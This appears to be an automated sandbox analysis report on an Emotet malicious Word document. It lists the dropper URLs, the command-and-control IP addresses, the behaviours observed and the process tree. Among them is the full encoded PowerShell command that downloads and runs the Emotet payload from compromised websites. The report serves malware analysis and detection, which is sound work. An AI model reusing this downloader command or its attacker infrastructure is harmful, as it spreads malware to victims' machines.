Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    29/09/2020, 09:44

General

  • Target
    emotet_e1_6e9744f364184b29485e6cad1604f0b2afc996e5216392c1dd695dd2e6d58bfb_2020-09-29__094056752736._doc.doc
  • Size 150KB
  • Sample200929-9hljtc67ta
  • SHA256 6e9744f364184b29485e6cad1604f0b2afc996e5216392c1dd695dd2e6d58bfb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://jubilantenterprise.com/wp-admin/Mj/

  • exe.dropper

    http://brycebrumley.com/wp-admin/lj/

  • exe.dropper

    http://aprendiendoganasdigital.com/wp-admin/r/

  • exe.dropper

    http://mymorninglove.com/wp-admin/acv/

  • exe.dropper

    http://shivam-aggarwal.com/cgi-bin/Zr/

  • exe.dropper

    https://originalsalonqatar.com/wp-admin/lS0/

  • exe.dropper

    http://aigtreyas.com/wp-content/p/

Extracted

Family
  • emotet

C2
  • 128.92.203.42:80

  • 37.187.161.206:8080

  • 202.29.239.162:443

  • 80.87.201.221:7080

  • 190.188.245.242:80

  • 12.163.208.58:80

  • 213.197.182.158:8080

  • 201.213.177.139:80

  • 62.84.75.50:80

  • 45.33.77.42:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 177.129.17.170:443

  • 51.15.7.189:80

  • 152.169.22.67:80

  • 119.106.216.84:80

  • 109.169.12.78:80

  • 51.15.7.145:80

  • 219.92.13.25:80

  • 190.117.79.209:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_6e9744f364184b29485e6cad1604f0b2afc996e5216392c1dd695dd2e6d58bfb_2020-09-29__094056752736._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3692
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABWAGUAbwBzAG4AYQBlAD0AKAAoACcAUgBlACcAKwAnAHcAJwApACsAKAAnAGEAcQAnACsAJwBjAHcAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAFIAUABSAG8ARgBpAGwARQBcAFIAZQAwAFEAZQB1AFkAXABBAFUASABqAFYAOQAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAQwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAGAAVQByAGAASQBUAFkAUABSAGAAbwB0AG8AQwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAE4AawBrAGUAeQAzAHIAIAA9ACAAKAAoACcAVQB1ACcAKwAnAHAAJwApACsAKAAnADEAdQAnACsAJwAwACcAKQApADsAJABVAGQAcgA4AHMAaQAyAD0AKAAnAE8AcwAnACsAKAAnADgAbAB0ACcAKwAnAG4AXwAnACkAKQA7ACQASgAyADQAOQBiAHEAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBBACcAKwAoACcAZAByACcAKwAnAFIAJwApACsAKAAnAGUAMABxAGUAdQB5ACcAKwAnAEEAZAByAEEAdQBoAGoAdgA5ACcAKwAnADMAJwArACcAQQBkACcAKQArACcAcgAnACkALgAiAHIARQBgAHAATABgAEEAQwBlACIAKAAoAFsAYwBoAGEAcgBdADYANQArAFsAYwBoAGEAcgBdADEAMAAwACsAWwBjAGgAYQByAF0AMQAxADQAKQAsAFsAUwBUAHIAaQBOAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACsAJABOAGsAawBlAHkAMwByACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAUgBfAHEANABhADAAeQA9ACgAKAAnAFkAJwArACcAMABiACcAKQArACcAcgAnACsAKAAnAGEAJwArACcAdABjACcAKQApADsAJABYAGkAdQAzAGkAZgAwAD0ALgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAGMATABpAEUATgB0ADsAJABZAHgANwBlAGsAMgBoAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBqACcAKQArACgAJwB1AGIAJwArACcAaQBsACcAKwAnAGEAbgAnACsAJwB0AGUAbgB0AGUAcgBwACcAKwAnAHIAaQBzAGUALgBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKQArACcATQAnACsAJwBqAC8AJwArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAYwBlACcAKwAnAGIAcgAnACsAJwB1AG0AJwApACsAJwBsACcAKwAnAGUAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuAC8AJwArACcAbABqAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AYQAnACsAJwBwACcAKQArACgAJwByAGUAJwArACcAbgBkAGkAZQBuACcAKQArACgAJwBkACcAKwAnAG8AZwBhACcAKQArACgAJwBuAGEAcwAnACsAJwBkAGkAZwAnACkAKwAoACcAaQB0ACcAKwAnAGEAbAAnACsAJwAuAGMAbwBtAC8AdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAvACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAA6AC8AJwArACcALwBtAHkAbQAnACkAKwAnAG8AcgAnACsAKAAnAG4AaQAnACsAJwBuAGcAbABvAHYAJwApACsAKAAnAGUAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAbQBpAG4AJwApACsAKAAnAC8AYQBjAHYAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAJwArACcAaABpACcAKQArACcAdgBhACcAKwAoACcAbQAnACsAJwAtAGEAJwApACsAKAAnAGcAZwBhAHIAJwArACcAdwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAnACsAJwAvACcAKQArACcAWgAnACsAJwByAC8AJwArACcAKgAnACsAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBvAHIAaQBnACcAKQArACgAJwBpACcAKwAnAG4AYQAnACsAJwBsAHMAYQBsACcAKQArACgAJwBvAG4AJwArACcAcQBhAHQAYQAnACkAKwAnAHIALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAYQBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGwAUwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBhAGkAZwAnACsAJwB0AHIAJwArACcAZQB5ACcAKQArACgAJwBhAHMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AYwBvAG4AJwArACcAdABlAG4AJwArACcAdAAnACsAJwAvAHAALwAnACkAKQAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXADUAdgBvADgAZQB4AD0AKAAnAFkAMAAnACsAKAAnAGIAcwB1ACcAKwAnADMAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAaQA4AGQANQB0AG8AIABpAG4AIAAkAFkAeAA3AGUAawAyAGgAKQB7AHQAcgB5AHsAJABYAGkAdQAzAGkAZgAwAC4AIgBkAE8AdwBuAGwAYABPAEEAYABEAEYAaQBsAGUAIgAoACQAWABpADgAZAA1AHQAbwAsACAAJABKADIANAA5AGIAcQBfACkAOwAkAFUAdgAyADIAZQBnAGwAPQAoACcATAB2ACcAKwAoACcAMAB0AGcAJwArACcAagBnACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEoAMgA0ADkAYgBxAF8AKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAyADAANwA3ADgAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASgAyADQAOQBiAHEAXwApADsAJABDAHEAegAzAHYAZAB1AD0AKAAoACcARgA2ACcAKwAnAGIAJwArACcAOABmAG0AJwApACsAJwBoACcAKQA7AGIAcgBlAGEAawA7ACQARwB6AHAAMwBsAHoAegA9ACgAJwBUACcAKwAoACcAMABsAGYAZQBjACcAKwAnAHkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAYgByAGwAbgBfAGkAPQAoACcARQBvACcAKwAnADgAJwArACgAJwBsAGoAJwArACcAOQBrACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Users\Admin\Re0qeuy\Auhjv93\Uup1u0.exe
      "C:\Users\Admin\Re0qeuy\Auhjv93\Uup1u0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:192
      • C:\Windows\SysWOW64\cmstp\Windows.Networking.exe
        "C:\Windows\SysWOW64\cmstp\Windows.Networking.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1236

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/192-14-0x00000000001F0000-0x0000000000200000-memory.dmp

        memory/192-13-0x00000000001D0000-0x00000000001E2000-memory.dmp

        memory/1236-18-0x0000000000580000-0x0000000000590000-memory.dmp

        memory/2480-8-0x000002DBF7650000-0x000002DBF7651000-memory.dmp

        memory/2480-9-0x000002DBF7850000-0x000002DBF7851000-memory.dmp

        memory/2480-7-0x00007FFDB56E0000-0x00007FFDB60CC000-memory.dmp

        memory/3692-0-0x00007FFDBCE70000-0x00007FFDBD536000-memory.dmp

        memory/3692-6-0x0000020D6C13F000-0x0000020D6C142000-memory.dmp

        memory/3692-5-0x0000020D6C13F000-0x0000020D6C142000-memory.dmp

        memory/3692-4-0x0000020D60CAE000-0x0000020D60CB1000-memory.dmp

        memory/3692-3-0x0000020D6BF7E000-0x0000020D6BF81000-memory.dmp

        memory/3692-2-0x0000020D6BF6D000-0x0000020D6BF7E000-memory.dmp

        memory/3692-1-0x0000020D6BF7E000-0x0000020D6BF81000-memory.dmp